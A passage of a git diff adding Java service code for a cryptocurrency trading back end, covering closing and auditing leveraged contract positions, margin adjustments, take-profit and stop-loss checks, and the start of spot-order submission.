contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(sellFee).setScale(4, RoundingMode.HALF_UP)); + + earn= sub.multiply(profitLoss).multiply(contractPosition.getOpenNum()).multiply(contractPosition.getLeverage()).divide(floatProit,4,RoundingMode.DOWN); + } + contractPosition.setEarn(earn); + contractPosition.setDealTime(new Date()); + updateTContractPosition(contractPosition); + //撤销止盈止损 + contractLossService.updateContractLoss(contractPosition.getId()); + TAppAsset asset = appAssetService.getAssetByUserIdAndType(contractPosition.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + BigDecimal amont = asset.getAmout(); + BigDecimal availAsset = asset.getAvailableAmount(); + BigDecimal money = amount.add(earn).subtract(contractPosition.getSellFee()); + BigDecimal subReturn=availAsset.add(money); + if(subReturn.compareTo(BigDecimal.ZERO)<0){ + asset.setAmout(BigDecimal.ZERO); + asset.setAvailableAmount(BigDecimal.ZERO); + }else { + asset.setAmout(amont.add(money)); + asset.setAvailableAmount(availAsset.add(money)); + } + appAssetService.updateTAppAsset(asset); + appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_TRANSACTION_CLOSING.getCode(), null, contractPosition.getOrderNo(), "合约交易平仓", amont, amont.add(money), tContractCoin.getBaseCoin(), appUser.getAdminParentIds()); + return "success"; + } + + @Override + public String adjustAmout(Long id, BigDecimal money, String flag) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(contractPosition.getSymbol()); + + TAppAsset asset = appAssetService.getAssetByUserIdAndType(contractPosition.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + + //增加保证金 + if ("0".equals(flag)) { + if (money.compareTo(asset.getAvailableAmount()) > 0) { + return MessageUtils.message("contract.asset.error"); + } + } + BigDecimal amont = contractPosition.getAmount(); + + BigDecimal adjust = contractPosition.getAdjustAmount(); + + BigDecimal level = contractPosition.getLeverage(); + + Integer type = contractPosition.getType(); + + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + contractPosition.getSymbol().toLowerCase()); + + if (contractPosition.getStatus() != 0) { + return MessageUtils.message("order.status.error"); + } + BigDecimal adjustAmount = BigDecimal.ZERO; + + BigDecimal afterAmount = BigDecimal.ZERO; + //增加保证金 + if ("0".equals(flag)) { + adjustAmount = adjust.add(money); + afterAmount = asset.getAvailableAmount().subtract(money); + //减少保证金 + } else if ("1".equals(flag)) { + adjustAmount = adjust.subtract(money); + afterAmount = asset.getAvailableAmount().add(money); + BigDecimal earn = ContractComputerUtil.getPositionEarn(contractPosition.getOpenPrice(), contractPosition.getOpenNum(), currentlyPrice, type); + if (earn.compareTo(BigDecimal.ZERO) < 0) { + if (adjust.add(earn).subtract(money).compareTo(amont) < 0) { + return MessageUtils.message("adjust.min.error"); + } + } else { + if (adjust.subtract(money).compareTo(amont) < 0) { + return MessageUtils.message("adjust.min.error"); + } + } + } + BigDecimal closePrice = ContractComputerUtil.getStrongPrice(level, type, contractPosition.getOpenPrice(), contractPosition.getOpenNum(), adjustAmount, BigDecimal.ZERO); + contractPosition.setAdjustAmount(adjustAmount); + contractPosition.setRemainMargin(adjustAmount); + contractPosition.setClosePrice(closePrice); + tContractPositionMapper.updateTContractPosition(contractPosition); + BigDecimal assetAmout = asset.getAmout(); + if ("0".equals(flag)) { + asset.setAmout(assetAmout.subtract(money)); + asset.setAvailableAmount(asset.getAvailableAmount().subtract(money)); + appAssetService.updateTAppAsset(asset); + } else if ("1".equals(flag)) { + asset.setAmout(assetAmout.add(money)); + asset.setAvailableAmount(asset.getAvailableAmount().add(money)); + appAssetService.updateTAppAsset(asset); + } + TAppUser appUser = appUserService.getById(contractPosition.getUserId()); + appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_TRADING_ADJUSTMENT_MARGIN.getCode(), null, contractPosition.getOrderNo(), "调整保证金", asset.getAvailableAmount(), afterAmount, tContractCoin.getCoin(), appUser.getAdminParentIds()); + return "success"; + } + + @Override + public String verifyStopPostion(Long id) { + String result = "success"; + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + Integer auditStaus = Objects.isNull(contractPosition.getAuditStatus()) ? 0 : contractPosition.getAuditStatus(); + + String check=checkPositon(contractPosition); + if (auditStaus == 1) { + if("ok".equals(check) || "okday".equals(check)){ + return MessageUtils.message("order.audit.pass"); + } + } + if("ok".equals(check) || "okday".equals(check)){ + return MessageUtils.message("order.audit.reject"); + } + + if (auditStaus == 3) { + return MessageUtils.message("order.audit.error"); + } + if (auditStaus != 5 && auditStaus != 2) { + //已提交 + contractPosition.setAuditStatus(5); + updateTContractPosition(contractPosition); + } + //当前价 + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + contractPosition.getSymbol().toLowerCase()); + Date subTime = contractPosition.getSubTime(); + //交割时间 + Integer deliveryDays = Objects.isNull(contractPosition.getDeliveryDays()) ? 0 : contractPosition.getDeliveryDays(); + //止盈率 + BigDecimal earnRate = Objects.isNull(contractPosition.getEarnRate()) ? BigDecimal.ZERO : contractPosition.getEarnRate(); + //止损率 + BigDecimal lossRate = Objects.isNull(contractPosition.getLossRate()) ? BigDecimal.ZERO : contractPosition.getLossRate(); + + //开仓均价 + BigDecimal openPrice = contractPosition.getOpenPrice(); + //调整保证金 + BigDecimal adjustAmount = contractPosition.getAdjustAmount(); + + BigDecimal remin=contractPosition.getRemainMargin(); + //杠杆 + BigDecimal level = contractPosition.getLeverage(); + // + int type = contractPosition.getType(); + //止盈价 + BigDecimal earnPrice=ContractComputerUtil.getEarnDealPrice(openPrice,type,earnRate); + BigDecimal rate = ContractComputerUtil.getPositionRate(openPrice, currentlyPrice, type); +// if(type==0) { //当前价>开仓价 +// // 开盘 16000 止盈价 18000 当前 17000 +// if(currentlyPrice.compareTo(earnPrice)>=0){ +// redisCache.setCacheObject(CachePrefix.POSITION_PRICE.getPrefix() + contractPosition.getOrderNo(),earnPrice); +// } +// BigDecimal flag = redisCache.getCacheObject(CachePrefix.POSITION_PRICE.getPrefix() + contractPosition.getOrderNo()); +// if(Objects.nonNull(flag) && currentlyPrice.compareTo(flag)<0){ +// if(currentlyPrice.compareTo(openPrice)>0 && currentlyPrice.compareTo(earnPrice) < 0) { +// rate= ContractComputerUtil.getPositionRate(earnPrice, currentlyPrice, type); +// } +// } +// }else if(type==1){ +// if(currentlyPrice.compareTo(earnPrice)<=0){ +// redisCache.setCacheObject(CachePrefix.POSITION_PRICE.getPrefix() + contractPosition.getOrderNo(),earnPrice); +// } +// BigDecimal flag = redisCache.getCacheObject(CachePrefix.POSITION_PRICE.getPrefix() + contractPosition.getOrderNo()); +// if(Objects.nonNull(flag) && currentlyPrice.compareTo(flag)>0){ +// if (currentlyPrice.compareTo(openPrice) < 0 && currentlyPrice.compareTo(earnPrice) > 0) { +// rate = ContractComputerUtil.getPositionRate(earnPrice, currentlyPrice, type); +// } +// } +// } + //收益率 + BigDecimal bigDecimal =adjustAmount.add((adjustAmount.multiply(level).multiply(earnRate).setScale(4, RoundingMode.UP))); +// if (rate.compareTo(BigDecimal.ZERO) < 0 ) { +// bigDecimal = bigDecimal.subtract((adjustAmount.multiply(rate).multiply(level).setScale(4, RoundingMode.UP))); +// } + BigDecimal loss = adjustAmount.multiply(level).multiply(lossRate).setScale(4, RoundingMode.UP); + int sub = 0; + + if (deliveryDays > 0) { + int days = DateUtil.daysBetween(subTime, new Date()); + sub=deliveryDays-days; + if (sub > 0) { + result = MessageUtils.message("contract.delivery.day", sub); + } + } + if (remin.compareTo(BigDecimal.ZERO) > 0 && lossRate.compareTo(BigDecimal.ZERO) > 0) { + if (remin.compareTo(bigDecimal) >= 0) { + closePosition(id); + return "success"; + } + if (remin.compareTo(bigDecimal) < 0 || remin.compareTo(loss) > 0) { + result = MessageUtils.message("contract.delivery.margan", new Object[]{sub, bigDecimal, loss}); + } + if (remin.compareTo(loss) <= 0) { + closePosition(id); + return "success"; + } + } + if (earnRate.compareTo(BigDecimal.ZERO) > 0 && lossRate.compareTo(BigDecimal.ZERO) == 0) { + if (remin.compareTo(bigDecimal) < 0) { + result = MessageUtils.message("contract.delivery.earn", new Object[]{sub, bigDecimal}); + } else { + closePosition(id); + return "success"; + } + } + if (lossRate.compareTo(BigDecimal.ZERO) > 0 && earnRate.compareTo(BigDecimal.ZERO) == 0) { + if (remin.compareTo(loss) > 0) { + result = MessageUtils.message("contract.delivery.loss", new Object[]{sub, loss}); + }else { + closePosition(id); + return "success"; + } + } + + return result; + } + + @Override + public String pass(TContractPosition tContractPosition) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(tContractPosition.getId()); + Integer auditStaus = Objects.isNull(contractPosition.getAuditStatus()) ? 0 : contractPosition.getAuditStatus(); + Integer status = Objects.isNull(contractPosition.getStatus()) ? 0 : contractPosition.getStatus(); + if (status == 1) { + return "不是待成交状态"; + } + if (auditStaus == 1) { + return "请勿重复审核"; + } +// if (auditStaus != 3) { +// return "不是待审核状态"; +// } +// TAppUser appUser = appUserService.getById(contractPosition.getUserId()); +// if (contractPosition.getStatus() != 0) { +// return MessageUtils.message("order.status.error"); +// } + String symol = contractPosition.getSymbol(); + // TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(symol); + //当前价 + BigDecimal amount = contractPosition.getAdjustAmount(); + BigDecimal earn = contractPosition.getEarn(); + // TAppAsset asset = appAssetService.getAssetByUserIdAndType(contractPosition.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + // BigDecimal amont = asset.getAmout(); + // BigDecimal availAsset = asset.getAvailableAmount(); + // BigDecimal money = amount.add(earn).subtract(contractPosition.getSellFee()); + // asset.setAmout(amont.add(money)); + // asset.setAvailableAmount(availAsset.add(money)); + // appAssetService.updateTAppAsset(asset); + // appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_TRANSACTION_CLOSING.getCode(), null, contractPosition.getOrderNo(), "合约交易平仓", amont, amont.add(money), tContractCoin.getBaseCoin(), appUser.getAdminParentIds()); + //contractPosition.setStatus(1); + contractPosition.setAuditStatus(1); + contractPosition.setUpdateTime(new Date()); + updateTContractPosition(contractPosition); + return "success"; + } + + @Override + public String reject(TContractPosition tContractPosition) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(tContractPosition.getId()); + Integer status = Objects.isNull(contractPosition.getStatus()) ? 0 : contractPosition.getStatus(); + if (status == 1) { + return "不是待成交状态"; + } + contractPosition.setAuditStatus(2); + contractPosition.setUpdateTime(new Date()); + updateTContractPosition(contractPosition); + return "success"; + } + + //追加保证金 + @Override + public String adjustPositionMargn(Long id, BigDecimal money) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + //平台账户 + // TAppAsset outAsset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, contractPosition.getUserId()).eq(TAppAsset::getSymbol, "usdt").eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + TAppUser appUser = appUserService.selectTAppUserByUserId(contractPosition.getUserId()); + + //合约账户 + TAppAsset inAsset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, contractPosition.getUserId()).eq(TAppAsset::getSymbol, "usdt").eq(TAppAsset::getType, AssetEnum.CONTRACT_ASSETS.getCode())); + if (inAsset.getAvailableAmount().compareTo(money) < 0) { + return MessageUtils.message("asset_amount_error"); + } +// BigDecimal availableAmount = outAsset.getAvailableAmount(); +// outAsset.setAvailableAmount(availableAmount.subtract(money)); +// outAsset.setAmout(outAsset.getAmout().subtract(money)); +// appAssetService.updateTAppAsset(outAsset); + // appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_ADD_AMOUT.getCode(), "", "", "平台资产-", availableAmount, availableAmount.subtract(money), "usdt", appUser.getAdminParentIds()); + + contractPosition.setRemainMargin(contractPosition.getRemainMargin().add(money)); + this.updateTContractPosition(contractPosition); + BigDecimal availableAmount1 = inAsset.getAvailableAmount(); + inAsset.setAvailableAmount(availableAmount1.subtract(money)); + inAsset.setAmout(inAsset.getAmout().subtract(money)); + appAssetService.updateTAppAsset(inAsset); + //添加帐变 + appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_ADD_AMOUT.getCode(), "", "", "合约资产-", availableAmount1, availableAmount1.subtract(money), "usdt", appUser.getAdminParentIds()); + return "success"; + } + + //追加本金 + @Override + public String adjustPositionAmout(Long id, BigDecimal money) { + + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + TAppAsset asset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, contractPosition.getUserId()).eq(TAppAsset::getSymbol, "usdt").eq(TAppAsset::getType, AssetEnum.CONTRACT_ASSETS.getCode())); + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(contractPosition.getSymbol()); + + if (money.compareTo(asset.getAvailableAmount()) > 0) { + return MessageUtils.message("contract.asset.error"); + } + String symbol = contractPosition.getSymbol().toLowerCase(); + //杠杆 + BigDecimal leverage = contractPosition.getLeverage(); + + //BigDecimal openFee = tContractCoin.getOpenFee().multiply(money).setScale(6, RoundingMode.HALF_UP); + + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol); + TAppUser appUser = appUserService.selectTAppUserByUserId(contractPosition.getUserId()); + BigDecimal availableAmount = asset.getAvailableAmount(); + //开仓均价 + + //计算数量 + + BigDecimal num = money.multiply(leverage).divide(currentlyPrice, 6, RoundingMode.DOWN); + contractPosition.setAmount(contractPosition.getAmount().add(money)); + contractPosition.setAdjustAmount(contractPosition.getAdjustAmount().add(money)); + contractPosition.setRemainMargin(contractPosition.getRemainMargin().add(money)); + contractPosition.setOpenNum(contractPosition.getOpenNum().add(num)); + contractPosition.setOpenPrice(currentlyPrice); + contractPosition.setEntrustmentValue(contractPosition.getEntrustmentValue().add((currentlyPrice.multiply(num).setScale(6, RoundingMode.HALF_UP)))); + this.updateTContractPosition(contractPosition); + asset.setAmout(asset.getAmout().subtract(money)); + asset.setAvailableAmount(asset.getAvailableAmount().subtract(money)); + appAssetService.updateTAppAsset(asset); + + appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_ADD.getCode(), "", contractPosition.getOrderNo(), RecordEnum.CONTRACT_ADD.getInfo(), availableAmount, availableAmount.subtract(money), "usdt", appUser.getAdminParentIds()); + + + return "success"; + } + + @Override + public String closePosition(Long id) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + Integer auditStaus = Objects.isNull(contractPosition.getAuditStatus()) ? 0 : contractPosition.getAuditStatus(); + if (auditStaus == 3) { + return MessageUtils.message("order.audit.error"); + } + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(contractPosition.getSymbol()); + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + contractPosition.getSymbol().toLowerCase()); + BigDecimal sellFee = tContractCoin.getCloseFee(); + contractPosition.setDealNum(contractPosition.getOpenNum()); + contractPosition.setStatus(0); + contractPosition.setAuditStatus(3); + contractPosition.setDealPrice(currentlyPrice); + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(sellFee).setScale(4, RoundingMode.HALF_UP)); + BigDecimal earn = ContractComputerUtil.getPositionEarn(contractPosition.getOpenPrice(), contractPosition.getOpenNum(), currentlyPrice, contractPosition.getType()); + contractPosition.setEarn(earn); + updateTContractPosition(contractPosition); + return "success"; + } + + @Override + public String stopPosition(Long id) { + TContractPosition contractPosition = tContractPositionMapper.selectTContractPositionById(id); + Integer status = Objects.isNull(contractPosition.getStatus()) ? 0 : contractPosition.getStatus(); + if (status == 1) { + return "不是待成交状态"; + } +// if (auditStaus == 3) { +// return MessageUtils.message("order.audit.error"); +// +// } + BigDecimal dealPrice = Objects.isNull(contractPosition.getDealPrice()) ? BigDecimal.ZERO : contractPosition.getDealPrice(); + TAppUser appUser = appUserService.getById(contractPosition.getUserId()); + if (contractPosition.getStatus() != 0) { + return MessageUtils.message("order.status.error"); + } + String symol = contractPosition.getSymbol(); + //类型0 买入买多 1 卖出做空 + Integer type = contractPosition.getType(); + //开仓均价 + BigDecimal openPrice = contractPosition.getOpenPrice(); + BigDecimal num = contractPosition.getOpenNum(); + BigDecimal amount = contractPosition.getRemainMargin(); + TContractCoin tContractCoin = contractCoinService.selectContractCoinBySymbol(symol); + //当前价 + if (dealPrice.compareTo(BigDecimal.ZERO) == 0) { + dealPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + contractPosition.getSymbol().toLowerCase()); + + } + BigDecimal sellFee = tContractCoin.getCloseFee(); + contractPosition.setDealNum(num); + contractPosition.setStatus(1); + contractPosition.setAuditStatus(1); + contractPosition.setDealPrice(dealPrice); + contractPosition.setSellFee(contractPosition.getAdjustAmount().multiply(sellFee).setScale(4, RoundingMode.HALF_UP)); + BigDecimal earn = ContractComputerUtil.getPositionEarn(openPrice, num, dealPrice, type); + contractPosition.setEarn(earn); + contractPosition.setDealTime(new Date()); + updateTContractPosition(contractPosition); + //撤销止盈止损 + //tContractPositionMapper.updateContractLoss(contractPosition.getId()); + TAppAsset asset = appAssetService.getAssetByUserIdAndType(contractPosition.getUserId(), AssetEnum.CONTRACT_ASSETS.getCode()); + BigDecimal amont = asset.getAmout(); + BigDecimal availAsset = asset.getAvailableAmount(); + BigDecimal money = amount.add(earn).subtract(contractPosition.getSellFee()); + asset.setAmout(amont.add(money)); + asset.setAvailableAmount(availAsset.add(money)); + appAssetService.updateTAppAsset(asset); + appWalletRecordService.generateRecord(contractPosition.getUserId(), money, RecordEnum.CONTRACT_TRANSACTION_CLOSING.getCode(), null, contractPosition.getOrderNo(), "合约交易平仓", amont, amont.add(money), tContractCoin.getBaseCoin(), appUser.getAdminParentIds()); + return "success"; + } + + @Override + public String stopAllPosition(Long id) { + TContractPosition contractPosition=this.getById(id); + Integer status = Objects.isNull(contractPosition.getStatus()) ? 0 : contractPosition.getStatus(); + if (status == 1) { + return "不是待成交状态"; + } + BigDecimal earn = ContractComputerUtil.getPositionEarn(contractPosition.getOpenPrice(), contractPosition.getOpenNum(), contractPosition.getClosePrice(), contractPosition.getType()); + contractPosition.setStatus(1); + contractPosition.setAuditStatus(1); + contractPosition.setDealTime(new Date()); + contractPosition.setDealNum(contractPosition.getOpenNum()); + contractPosition.setDealValue(contractPosition.getOpenNum().multiply(contractPosition.getDealPrice()).setScale(6,RoundingMode.HALF_UP)); + contractPosition.setEarn(earn); + this.updateTContractPosition(contractPosition); + return "success"; + } + + + public String checkProfit(TContractCoin tContractCoin) { + String result = "ok"; + //止盈率 + BigDecimal floatProit = Objects.isNull(tContractCoin.getFloatProfit()) ? BigDecimal.ZERO : tContractCoin.getFloatProfit(); + //止损率 + BigDecimal profitLoss = Objects.isNull(tContractCoin.getProfitLoss()) ? BigDecimal.ZERO : tContractCoin.getProfitLoss(); + if (floatProit.compareTo(BigDecimal.ZERO) > 0) { + result = result + "earn"; + } + if (profitLoss.compareTo(BigDecimal.ZERO) > 0) { + result = result + "loss"; + } + return result; + } + + public String checkPositon(TContractPosition tContractPosition) { + String result = "ok"; + + Integer deliverDays = Objects.isNull(tContractPosition.getDeliveryDays()) ? 0 : tContractPosition.getDeliveryDays(); + //止盈率 + BigDecimal earnRate = Objects.isNull(tContractPosition.getEarnRate()) ? BigDecimal.ZERO : tContractPosition.getEarnRate(); + //止盈率 + BigDecimal lossRate = Objects.isNull(tContractPosition.getLossRate()) ? BigDecimal.ZERO : tContractPosition.getLossRate(); + if (deliverDays > 0) { + result = result + "day"; + } + if (earnRate.compareTo(BigDecimal.ZERO) > 0) { + result = result + "earn"; + } + if (lossRate.compareTo(BigDecimal.ZERO) > 0) { + result = result + "loss"; + } + return result; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencyOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencyOrderServiceImpl.java new file mode 100644 index 0000000..4bf6c76 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencyOrderServiceImpl.java @@ -0,0 +1,499 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.List; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.AppSidebarSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.mapper.TCurrencySymbolMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.OrderUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TCurrencyOrderMapper; +import org.springframework.transaction.annotation.Transactional; + +import javax.annotation.Resource; + +/** + * 币币交易订单Service业务层处理 + * + * @author ruoyi + * @date 2023-07-25 + */ +@Service +public class TCurrencyOrderServiceImpl extends ServiceImpl implements ITCurrencyOrderService { + @Resource + private TCurrencyOrderMapper tCurrencyOrderMapper; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITAppUserService tAppUserService; + @Resource + private RedisCache redisCache; + @Resource + private TCurrencySymbolMapper tCurrencySymbolMapper; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private SettingService settingService; + + /** + * 查询币币交易订单 + * + * @param id 币币交易订单主键 + * @return 币币交易订单 + */ + @Override + public TCurrencyOrder selectTCurrencyOrderById(Long id) { + return tCurrencyOrderMapper.selectTCurrencyOrderById(id); + } + + /** + * 查询币币交易订单列表 + * + * @param tCurrencyOrder 币币交易订单 + * @return 币币交易订单 + */ + @Override + public List selectTCurrencyOrderList(TCurrencyOrder tCurrencyOrder) { + return tCurrencyOrderMapper.selectTCurrencyOrderList(tCurrencyOrder); + } + + /** + * 新增币币交易订单 + * + * @param tCurrencyOrder 币币交易订单 + * @return 结果 + */ + @Override + public int insertTCurrencyOrder(TCurrencyOrder tCurrencyOrder) { + tCurrencyOrder.setCreateTime(DateUtils.getNowDate()); + return tCurrencyOrderMapper.insertTCurrencyOrder(tCurrencyOrder); + } + + /** + * 修改币币交易订单 + * + * @param tCurrencyOrder 币币交易订单 + * @return 结果 + */ + @Override + public int updateTCurrencyOrder(TCurrencyOrder tCurrencyOrder) { + tCurrencyOrder.setUpdateTime(DateUtils.getNowDate()); + return tCurrencyOrderMapper.updateTCurrencyOrder(tCurrencyOrder); + } + + /** + * 批量删除币币交易订单 + * + * @param ids 需要删除的币币交易订单主键 + * @return 结果 + */ + @Override + public int deleteTCurrencyOrderByIds(Long[] ids) { + return tCurrencyOrderMapper.deleteTCurrencyOrderByIds(ids); + } + + /** + * 删除币币交易订单信息 + * + * @param id 币币交易订单主键 + * @return 结果 + */ + @Override + public int deleteTCurrencyOrderById(Long id) { + return tCurrencyOrderMapper.deleteTCurrencyOrderById(id); + } + + @Transactional + @Override + public String submitCurrencyOrder(TAppUser user, TCurrencyOrder tCurrencyOrder) { + String symbol = tCurrencyOrder.getSymbol(); + String coin = tCurrencyOrder.getCoin(); + Integer delegateType = tCurrencyOrder.getDelegateType(); + TCurrencySymbol currencySymbol = tCurrencySymbolMapper.selectOne(new LambdaQueryWrapper().eq(TCurrencySymbol::getCoin, symbol).eq(TCurrencySymbol::getBaseCoin, coin).eq(TCurrencySymbol::getEnable, "1")); + if (Objects.isNull(currencySymbol)) { + return MessageUtils.message("currency.coin.setting.nonexistent", (tCurrencyOrder.getSymbol() + tCurrencyOrder.getCoin()).toUpperCase()); + } + // 111 + BigDecimal symolSettle = tCurrencyOrder.getSymbol().equals("usdt") ? BigDecimal.ONE : redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + tCurrencyOrder.getSymbol()); + BigDecimal coinSettle = tCurrencyOrder.getCoin().equals("usdt") ? BigDecimal.ONE : redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + tCurrencyOrder.getCoin()); + BigDecimal settlePrice = symolSettle.divide(coinSettle, 8, RoundingMode.DOWN); + + //校验 + + + String result = checkOrder(tCurrencyOrder, currencySymbol, settlePrice); + if (!result.equals("success")) { + return result; + } + Long userId = user.getUserId(); + //判断是否需要创建资产账户 + if (tCurrencyOrder.getType() == 0) { + TAppAsset tAppAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getSymbol())); + if (Objects.isNull(tAppAsset)) { + tAppAssetService.createAsset(user, tCurrencyOrder.getSymbol(), AssetEnum.PLATFORM_ASSETS.getCode()); + } + } else { + TAppAsset tAppAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getCoin())); + //判断是否需要创建资产账户 + if (Objects.isNull(tAppAsset)) { + tAppAssetService.createAsset(user, tCurrencyOrder.getCoin(), AssetEnum.PLATFORM_ASSETS.getCode()); + } + } + //查询交易币种资产 + TAppAsset addAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getSymbol()).eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + //查询结算币种资产 + TAppAsset subtractAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, tCurrencyOrder.getCoin()).eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + + BigDecimal delegatePrice = tCurrencyOrder.getDelegatePrice(); + BigDecimal delegateTotal = tCurrencyOrder.getDelegateTotal(); + BigDecimal delegateValue = tCurrencyOrder.getDelegateValue(); + BigDecimal ratio = currencySymbol.getFeeRate().divide(new BigDecimal("100")); + BigDecimal dealNum = BigDecimal.ZERO; + + //可用资产 + BigDecimal availableAsset = BigDecimal.ZERO; + String msgsSymbol = ""; + if (tCurrencyOrder.getType() == 0) { + availableAsset = subtractAsset.getAvailableAmount(); + msgsSymbol = subtractAsset.getSymbol(); + if (availableAsset.compareTo(delegateValue) < 0) { + return MessageUtils.message("currency.balance.deficiency", msgsSymbol.toUpperCase()); + } + } else { + availableAsset = addAsset.getAvailableAmount(); + msgsSymbol = addAsset.getSymbol(); + if (availableAsset.compareTo(delegateTotal) < 0) { + return MessageUtils.message("currency.balance.deficiency", msgsSymbol.toUpperCase()); + } + } + //根据type 和 delegateType 整合数据 + String serialNo = "Y" + OrderUtils.generateOrderNum(); + tCurrencyOrder.setAdminParentIds(user.getAdminParentIds()); + tCurrencyOrder.setUserId(userId); + tCurrencyOrder.setOrderNo(serialNo); + tCurrencyOrder.setDealPrice(settlePrice); + if (tCurrencyOrder.getType() == 0) { + if (delegateType == 0) { + if (checkPrice(tCurrencyOrder.getType(), settlePrice, delegatePrice)) { + dealNum = delegateTotal; + tCurrencyOrder.setDealNum(delegateTotal); + tCurrencyOrder.setDealValue(settlePrice.multiply(delegateTotal).setScale(6, RoundingMode.DOWN)); + tCurrencyOrder.setFee(delegateTotal.multiply(ratio)); + + BigDecimal subtractPrice = tCurrencyOrder.getDealValue(); + BigDecimal addPrice = dealNum.subtract(dealNum.multiply(ratio)); + assembleCurrencyOrder(tCurrencyOrder, symbol, coin, userId, subtractPrice, addPrice, subtractAsset, addAsset); + } else { + combinationCurrencyOrder(tCurrencyOrder, ratio, userId); + } + } else { + dealNum = delegateValue.divide(settlePrice, 6, RoundingMode.DOWN); + tCurrencyOrder.setDelegateTotal(dealNum); + tCurrencyOrder.setDelegatePrice(settlePrice); + tCurrencyOrder.setDelegateValue(delegateValue); + tCurrencyOrder.setDealNum(dealNum); + tCurrencyOrder.setDealValue(delegateValue); + tCurrencyOrder.setFee(dealNum.multiply(ratio)); + BigDecimal subtractPrice = delegateValue; + BigDecimal addPrice = dealNum.subtract(tCurrencyOrder.getFee()); + assembleCurrencyOrder(tCurrencyOrder, symbol, coin, userId, subtractPrice, addPrice, subtractAsset, addAsset); + } + } else { + if (delegateType == 0) { + if (checkPrice(tCurrencyOrder.getType(), settlePrice, delegatePrice)) { + tCurrencyOrder.setDealNum(delegateTotal); + tCurrencyOrder.setDealValue(settlePrice.multiply(delegateTotal).setScale(6, RoundingMode.DOWN)); + tCurrencyOrder.setFee(tCurrencyOrder.getDealValue().multiply(ratio)); + BigDecimal subtractPrice = tCurrencyOrder.getDealNum(); + BigDecimal addPrice = tCurrencyOrder.getDealValue().subtract(tCurrencyOrder.getFee()); + assembleCurrencyOrder(tCurrencyOrder, coin, symbol, userId, subtractPrice, addPrice, addAsset, subtractAsset); + } else { + 